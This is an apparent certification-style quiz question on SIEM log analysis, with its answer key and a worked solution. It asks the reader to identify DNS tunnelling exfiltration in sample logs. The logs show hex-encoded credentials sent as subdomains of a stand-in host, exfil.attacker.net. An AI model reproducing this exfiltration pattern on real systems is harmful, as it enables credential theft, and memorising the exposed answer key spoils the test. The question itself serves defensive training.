Examkin

Question

Difficulty: HardLog Analysis and SIEM Management

A security operations analyst is investigating an automated high-severity alert triggered by an enterprise SIEM. The alert correlated the following log entries generated by an internal host (`192.168.10.45`) across a local DNS resolver and perimeter firewall logs:

text
2026-07-27T14:15:02Z dns-core-01 named[4102]: client @0x7f8a 192.168.10.45#51204 (61646d696e2d6372656473.exfil.attacker.net): query: 61646d696e2d6372656473.exfil.attacker.net IN TXT + (10.0.0.2)
2026-07-27T14:15:05Z dns-core-01 named[4102]: client @0x7f8a 192.168.10.45#51205 (70617373776f72643132.exfil.attacker.net): query: 70617373776f72643132.exfil.attacker.net IN TXT + (10.0.0.2)
2026-07-27T14:15:09Z dns-core-01 named[4102]: client @0x7f8a 192.168.10.45#51206 (5345435245544b455931.exfil.attacker.net): query: 5345435245544b455931.exfil.attacker.net IN TXT + (10.0.0.2)
2026-07-27T14:15:12Z fw-edge-01 syslog: action="allow" src_ip=192.168.10.45 src_port=51207 dst_ip=198.51.100.53 dst_port=53 proto=UDP bytes_sent=4120 bytes_recv=8900

Based on these correlated log entries, which of the following malicious activities is taking place, and what key log feature supports this conclusion?

  1. A
    A SQL injection attack against an internal database server, indicated by string concatenation syntax in the queried record strings.
  2. DNS data exfiltration (tunneling), indicated by sequential TXT record requests carrying high-entropy, hexadecimal-encoded payload strings in the subdomain parameters.Answer
  3. C
    A DNS amplification DDoS attack, indicated by high-volume UDP port 53 outbound traffic allowing open recursive queries.
  4. D
    An unauthorized privilege escalation attack, indicated by failed user identity verification records attempting system-level authorization checks.

Answer

DNS data exfiltration (tunneling), indicated by sequential TXT record requests carrying high-entropy, hexadecimal-encoded payload strings in the subdomain parameters.
The correct answer accurately identifies DNS data exfiltration (tunneling). The raw DNS logs reveal sequential TXT queries to an external domain (`exfil.attacker.net`) containing long hexadecimal string prefixes in the subdomain field. When decoded (e.g., `61646d...` is hex for 'admin-creds'), these strings represent stolen data exfiltrated via covert DNS channels.

Step-by-Step Solution

1
Analyze the DNS resolver log entries (`dns-core-01`) for query structure and request types.
Identified rapid, sequential requests for TXT records where the hostname prefix consists of long, high-entropy hexadecimal character strings (e.g., `61646d696e...` translates to `admin-creds`).
Attackers encode sensitive stolen data into hostnames and use DNS query types like TXT or A records to bypass standard firewall port restrictions.
2
Correlate DNS query records with perimeter firewall logs (`fw-edge-01`).
Confirmed direct outbound UDP port 53 communication from host `192.168.10.45` to an external IP (`198.51.100.53`).
Firewall logs confirm data transmission occurring outside expected local DNS recursion paths.
3
Differentiate DNS exfiltration patterns from other attack vectors such as DDoS, SQL injection, or privilege escalation.
Determined that encoding payloads into DNS subdomains specifically matches covert channel exfiltration tactics.
The observed structure is specific to DNS covert channel tunneling, distinguishing it from web application flaws or identity management events.

Key Concept

DNS Exfiltration and SIEM Event Correlation
Rate this question

Topics

Log Analysis and SIEM Management

More questions from this topic